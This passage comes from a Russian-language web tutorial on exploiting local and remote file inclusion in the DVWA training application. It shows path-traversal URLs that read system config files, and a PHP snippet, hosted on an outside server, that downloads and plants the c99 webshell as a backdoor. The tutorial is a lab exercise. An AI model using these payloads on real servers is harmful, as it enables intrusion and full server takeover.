src=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/04-2.jpg\" width=\"1919\" srcset=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/04-2.jpg 1919w, https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/04-2-300x61.jpg 300w, https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/04-2-768x155.jpg 768w, https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/04-2-1024x207.jpg 1024w\" sizes=\"(max-width: 1919px) 100vw, 1919px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u041a\u0430\u043a \u0432\u0438\u0434\u0438\u043c, \u044d\u0442\u043e \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u043e. \u041d\u043e \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0432\u0435\u0431-\u0431\u0440\u0430\u0443\u0437\u0435\u0440\u044b \u0438\u0433\u043d\u043e\u0440\u0438\u0440\u0443\u044e\u0442 \/r\/n (\u0441\u0438\u043c\u0432\u043e\u043b\u044b \u043d\u043e\u0432\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438), \u0442\u043e \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u043f\u0438\u0441\u0438 \u0441\u0442\u0430\u043b\u0438 \u0447\u0438\u0442\u0430\u0435\u043c\u044b\u043c\u0438:\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/05-2.jpg\"><img loading=\"lazy\" decoding=\"async\" alt=\"05\" class=\"alignnone size-full wp-image-1365\" height=\"778\" src=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/05-2.jpg\" width=\"1246\" srcset=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/05-2.jpg 1246w, https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/05-2-300x187.jpg 300w, https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/05-2-768x480.jpg 768w, https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/05-2-1024x639.jpg 1024w\" sizes=\"(max-width: 1246px) 100vw, 1246px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u041a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u0430\u0440\u043e\u043b\u0435\u0439 \u0432 \u0444\u0430\u0439\u043b\u0435 \/etc\/passwd \u0443\u0436\u0435 \u0434\u0430\u0432\u043d\u043e \u043d\u0435\u0442.\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u0421 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043c\u043e\u0436\u043d\u043e \u0441\u0442\u044f\u043d\u0443\u0442\u044c \u0440\u0430\u0437\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a, SSL-\u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u044b, \u0432 \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0435, \u043b\u044e\u0431\u043e\u0439 \u0444\u0430\u0439\u043b, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0442\u043a\u0440\u044b\u0442 \u0434\u043b\u044f \u0447\u0442\u0435\u043d\u0438\u044f \u0432\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0438\u043b\u0438 \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u044f \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0443 \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u0440\u0430\u0432:\n<\/p>\n<p style=\"text-align: justify;\">\n\thttp:\/\/localhost\/dvwa\/vulnerabilities\/fi\/?page=..\/..\/..\/..\/..\/..\/..\/etc\/apache2\/apache2.conf\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/06-2.jpg\"><img loading=\"lazy\" decoding=\"async\" alt=\"06\" class=\"alignnone size-full wp-image-1366\" height=\"809\" src=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/06-2.jpg\" width=\"1919\" srcset=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/06-2.jpg 1919w, https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/06-2-300x126.jpg 300w, https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/06-2-768x324.jpg 768w, https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/06-2-1024x432.jpg 1024w\" sizes=\"(max-width: 1919px) 100vw, 1919px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\thttp:\/\/localhost\/dvwa\/vulnerabilities\/fi\/?page=..\/..\/..\/..\/..\/..\/..\/etc\/mysql\/my.cnf\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/07-2.jpg\"><img loading=\"lazy\" decoding=\"async\" alt=\"07\" class=\"alignnone size-full wp-image-1367\" height=\"554\" src=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/07-2.jpg\" width=\"1919\" srcset=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/07-2.jpg 1919w, https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/07-2-300x87.jpg 300w, https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/07-2-768x222.jpg 768w, https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/07-2-1024x296.jpg 1024w\" sizes=\"(max-width: 1919px) 100vw, 1919px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u0427\u0442\u043e \u043a\u0430\u0441\u0430\u0435\u0442\u0441\u044f \u043e\u0431\u0449\u0438\u0445 \u0445\u043e\u0441\u0442\u0438\u043d\u0433\u043e\u0432, \u0442\u043e \u0438\u043d\u043e\u0433\u0434\u0430 \u0443\u0434\u0430\u0451\u0442\u0441\u044f \u0437\u0430\u0433\u043b\u044f\u043d\u0443\u0442\u044c \u0432 \u0447\u0443\u0436\u0438\u0435 \u043f\u0430\u043f\u043a\u0438 (\u043e\u043f\u044f\u0442\u044c \u0436\u0435, \u043f\u0440\u0438 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0435 \u043f\u0440\u0430\u0432 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439).\n<\/p>\n<p style=\"text-align: justify;\">\n\thttp:\/\/localhost\/dvwa\/vulnerabilities\/fi\/?page=..\/..\/..\/evil\/sqlite.db\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/03-2.jpg\"><img loading=\"lazy\" decoding=\"async\" alt=\"03\" class=\"alignnone size-full wp-image-1363\" height=\"354\" src=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/03-2.jpg\" width=\"935\" srcset=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/03-2.jpg 935w, https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/03-2-300x114.jpg 300w, https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/03-2-768x291.jpg 768w\" sizes=\"(max-width: 935px) 100vw, 935px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u0417\u0430\u0434\u0430\u0447\u0430 \u0443\u0441\u043b\u043e\u0436\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u0435\u043c, \u0447\u0442\u043e \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u0437\u043d\u0430\u0442\u044c \u043f\u0443\u0442\u044c \u0434\u043e \u0444\u0430\u0439\u043b\u0430.\n<\/p>\n<h2 style=\"text-align: justify;\">\n\t\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432<br \/>\n<\/h2>\n<p style=\"text-align: justify;\">\n\tPHP \u043e\u0447\u0435\u043d\u044c \u0433\u0438\u0431\u043a\u0438\u0439 \u0438 \u0434\u0440\u0443\u0436\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0434\u043b\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432 \u044f\u0437\u044b\u043a \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f. \u041a\u043e\u043c\u0430\u043d\u0434\u044b \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f (\u0438\u043d\u043a\u043b\u0443\u0434\u0430) \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 \u043f\u0440\u0435\u043a\u0440\u0430\u0441\u043d\u043e \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u044e\u0442 \u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d6\u043e \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u044e\u0442 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b, \u043d\u043e \u0438 URL&hellip;\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u041f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0432\u043c\u0435\u0441\u0442\u043e \u0438\u043c\u0435\u043d\u0438 \u0444\u0430\u0439\u043b\u0430 \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c URL \u0441\u0430\u0439\u0442\u0430 https:\/\/hackware.ru\/:\n<\/p>\n<p style=\"text-align: justify;\">\n\thttp:\/\/localhost\/dvwa\/vulnerabilities\/fi\/?page=https:\/\/hackware.ru\/\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u0442\u0435, \u043a\u0430\u043a \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f:\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/08-2.jpg\"><img loading=\"lazy\" decoding=\"async\" alt=\"08\" class=\"alignnone size-full wp-image-1368\" height=\"951\" src=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/08-2.jpg\" width=\"1919\" srcset=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/08-2.jpg 1919w, https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/08-2-300x149.jpg 300w, https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/08-2-768x381.jpg 768w, https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/08-2-1024x507.jpg 1024w\" sizes=\"(max-width: 1919px) 100vw, 1919px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u041f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435, PHP \u0438\u043d\u0442\u0435\u0440\u043f\u0440\u0435\u0442\u0430\u0442\u043e\u0440 \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0438\u043d\u043a\u043b\u0443\u0434 \u0444\u0430\u0439\u043b\u0430\/\u0441\u0430\u0439\u0442\u0430 https:\/\/hackware.ru\/. \u041e\u043d \u043e\u0442\u043a\u0440\u044b\u043b\/\u0437\u0430\u0433\u0440\u0443\u0437\u0438\u043b \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u0430\u0434\u0440\u0435\u0441 \u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u043b \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 PHP \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b. \u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 PHP \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u043a\u043e\u0434, \u043e\u043a\u0440\u0443\u0436\u0451\u043d\u043d\u044b\u0439 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u043c\u0438 \u0442\u0435\u0433\u0430\u043c\u0438 (\u0432 \u0434\u0430\u043d\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043a\u043e\u0434\u0430 \u0432\u043e\u043e\u0431\u0449\u0435 \u043d\u0435 \u0431\u044b\u043b\u043e), \u0430 \u0432\u0441\u0451 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u0432\u044b\u0432\u043e\u0434\u0438\u0442 \u043a\u0430\u043a \u0435\u0441\u0442\u044c, \u0442\u043e \u0432\u0441\u044f \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u0432\u0435\u0431-\u0441\u0430\u0439\u0442\u0430 \u0432\u044b\u0432\u0435\u0434\u0435\u043d\u0430 \u043a\u0430\u043a \u0435\u0441\u0442\u044c.\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u041a\u043e\u043d\u0435\u0447\u043d\u043e \u044d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u0430 \u043d\u0430\u043c \u043d\u0435 \u0442\u0435\u043c, \u0447\u0442\u043e \u043c\u044b \u0447\u0435\u0440\u0435\u0437 \u043e\u0434\u0438\u043d \u0441\u0430\u0439\u0442 \u043c\u043e\u0436\u0435\u043c \u043f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c \u0434\u0440\u0443\u0433\u0438\u0435 \u0441\u0430\u0439\u0442\u044b.\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u041c\u044b \u043c\u043e\u0436\u0435\u043c \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u043d\u0430\u0448 \u0431\u044d\u043a\u0434\u043e\u0440 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u043c \u0441\u0430\u0439\u0442\u0435. \u0410\u043b\u0433\u043e\u0440\u0438\u0442\u043c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439:\n<\/p>\n<ol>\n<li style=\"text-align: justify;\">\n\t\t\u0413\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u0435\u043c \/ \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434 \u0431\u044d\u043a\u0434\u043e\u0440\u0430\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\t\u0421\u043e\u0437\u0434\u0430\u0451\u043c \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u0439 \u0441 \u0442\u043e\u0447\u043a\u0438 \u0437\u0440\u0435\u043d\u0438\u044f PHP \u0444\u0430\u0439\u043b \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434 \u0431\u044d\u043a\u0434\u043e\u0440\u0430 \u0432 PHP \u0444\u0430\u0439\u043b\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\t\u0421\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u043c \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u0434 \u0432 \u0422\u0415\u041a\u0421\u0422\u041e\u0412\u042b\u0419 \u0444\u0430\u0439\u043b\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\t\u0417\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u043c \u044d\u0442\u043e\u0442 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0439 \u0444\u0430\u0439\u043b \u043d\u0430 \u043f\u043e\u0434\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\t\u041d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0438\u043d\u043a\u043b\u0443\u0434\u0430 \u0444\u0430\u0439\u043b\u043e\u0432 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u043c \u043d\u0430\u0448 \u0431\u044d\u043a\u0434\u043e\u0440\n\t<\/li>\n<\/ol>\n<p style=\"text-align: justify;\">\n\t\u042f \u0432\u044b\u0434\u0435\u043b\u0438\u043b \u0441\u043b\u043e\u0432\u043e &laquo;\u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0439&raquo; \u043f\u043e \u0442\u043e\u0439 \u043f\u0440\u0438\u0447\u0438\u043d\u0435, \u0447\u0442\u043e \u043d\u0430 \u043f\u043e\u0434\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u043c \u043d\u0430\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u0438\u043c\u0435\u043d\u043d\u043e \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0439 \u0444\u0430\u0439\u043b, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0435 \u0434\u043e\u043b\u0436\u0435\u043d \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0442\u0441\u044f \u043d\u0430 \u043d\u0430\u0448\u0435\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435. \u041d\u0430\u0448 \u0441\u0435\u0440\u0432\u0435\u0440 \u0434\u043e\u043b\u0436\u0435\u043d \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u0435\u0433\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435.\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u0414\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0431\u044d\u043a\u0434\u043e\u0440\u0430 \u043c\u043e\u0436\u043d\u043e \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f <a href=\"https:\/\/kali.tools\/?p=1627\" target=\"_blank\">Weevely<\/a>, <a href=\"https:\/\/kali.tools\/?p=1657\" target=\"_blank\">PhpSploit<\/a>, \u0430 \u043c\u043e\u0436\u043d\u043e \u0432\u0437\u044f\u0442\u044c \u0433\u043e\u0442\u043e\u0432\u044b\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f. \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0432 \u044d\u0442\u043e\u0442 \u0440\u0430\u0437 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f <a href=\"https:\/\/kali.tools\/?p=1843\" target=\"_blank\">\u0433\u043e\u0442\u043e\u0432\u044b\u043c<\/a>.\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u042f \u043f\u0440\u0438\u0441\u0432\u043e\u044e \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 $backdoor \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434 \u0431\u044d\u043a\u0434\u043e\u0440\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u043a\u0430\u0447\u0430\u044e \u0441 \u0433\u0438\u0442\u0445\u0430\u0431\u0430. \u0417\u0430\u0442\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u044e file_put_contents \u0434\u043b\u044f \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u0444\u0430\u0439\u043b c99unlimited.php.\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u041a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u044f \u0440\u0430\u0437\u043c\u0435\u0441\u0442\u0438\u043b \u0432 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u043e\u043c \u0444\u0430\u0439\u043b\u0435\n<\/p>\n<pre class=\"brush:php;\">\r\n$backdoor = file_get_contents(&quot;https:\/\/raw.githubusercontent.com\/BlackArch\/webshells\/master\/php\/c99unlimited.php&quot;);\r\nfile_put_contents(&#39;c99unlimited.php&#39;, &quot;$backdoor&quot;);\r\necho &#39;done!&#39;;<\/pre>\n<p style=\"text-align: justify;\">\n\t\u041e\u043d \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 http:\/\/miloserdov.org\/sec.txt\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/11-1.jpg\"><img loading=\"lazy\" decoding=\"async\" alt=\"11\" class=\"alignnone size-full wp-image-1370\" height=\"193\" src=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/11-1.jpg\" width=\"841\" srcset=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/11-1.jpg 841w, https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/11-1-300x69.jpg 300w, https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/11-1-768x176.jpg 768w\" sizes=\"(max-width: 841px) 100vw, 841px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u0422\u0435\u043f\u0435\u0440\u044c, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u044b\u0439 \u0438\u043d\u043a\u043b\u0443\u0434, \u043c\u044b \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u043c \u0431\u044d\u043a\u0434\u043e\u0440 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440.\n<\/p>\n<p style=\"text-align: justify;\">\n\thttp:\/\/localhost\/dvwa\/vulnerabilities\/fi\/?page=http:\/\/miloserdov.org\/sec.txt\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/10-2.jpg\"><img loading=\"lazy\" decoding=\"async\" alt=\"10\" class=\"alignnone size-full wp-image-1369\" height=\"461\" src=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/10-2.jpg\" width=\"984\" srcset=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/10-2.jpg 984w, https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/10-2-300x141.jpg 300w, https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/10-2-768x360.jpg 768w\" sizes=\"(max-width: 984px) 100vw, 984px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u041e\u0431\u0440\u0430\u0442\u0438\u0442\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u043d\u0430\u0434\u043f\u0438\u0441\u044c done!, \u043e\u043d\u0430 \u0432\u044b\u0432\u0435\u0434\u0435\u043d\u0430 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u043c, \u0442.\u0435. \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e \u0432\u0441\u0451 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u043e\u0441\u044c.\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0441\u043a\u0440\u0438\u043f\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0434\u0435\u043b\u0430\u0435\u0442 \u0438\u043d\u043a\u043b\u0443\u0434 \u0444\u0430\u0439\u043b\u043e\u0432 \u0440\u0430\u0437\u043c\u0435\u0449\u0451\u043d \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 http:\/\/localhost\/dvwa\/vulnerabilities\/fi\/, \u0430 \u043d\u0430\u0448 \u043d\u043e\u0432\u044b\u0439 \u0444\u0430\u0439\u043b \u0441 \u0431\u044d\u043a\u0434\u043e\u0440\u043e\u043c \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u043b \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c\u0441\u044f \u0441 \u0438\u043c\u0435\u043d\u0435\u043c c99unlimited.php, \u0442\u043e \u043f\u043e\u043b\u043d\u044b\u0439 \u0430\u0434\u0440\u0435\u0441 \u0431\u044d\u043a\u0434\u043e\u0440\u0430 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c:&nbsp;http:\/\/localhost\/dvwa\/vulnerabilities\/fi\/c99unlimited.php\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c:\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/12-2.jpg\"><img loading=\"lazy\" decoding=\"async\" alt=\"12\" class=\"alignnone size-full wp-image-1371\" height=\"833\" src=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/12-2.jpg\" width=\"1919\" srcset=\"https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/12-2.jpg 1919w, https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/12-2-300x130.jpg 300w, https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/12-2-768x333.jpg 768w, https:\/\/hackware.ru\/wp-content\/uploads\/2016\/08\/12-2-1024x444.jpg 1024w\" sizes=\"(max-width: 1919px) 100vw, 1919px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u041e\u0442\u043b\u0438\u0447\u043d\u043e, \u0442\u0435\u043f\u0435\u0440\u044c \u0443 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c \u0432\u0441\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043c\u043e\u0433\u0443\u0442 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0443 \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0430&hellip; \u0438 \u0442\u0435\u043c, \u043a\u0442\u043e \u0438\u043c\u0435\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0435\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0443.\n<\/p>\n<h2 style=\"text-align: justify;\">\n\t\u041e\u0431\u0445\u043e\u0434 \u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u0438 \u043f\u0440\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c \u0438\u043d\u043a\u043b\u0443\u0434\u0435 \u0444\u0430\u0439\u043b\u043e\u0432<br \/>\n<\/h2>\n<p style=\"text-align: justify;\">\n\t\u041f\u0435\u0440\u0435\u0439\u0434\u0451\u043c \u043d\u0430 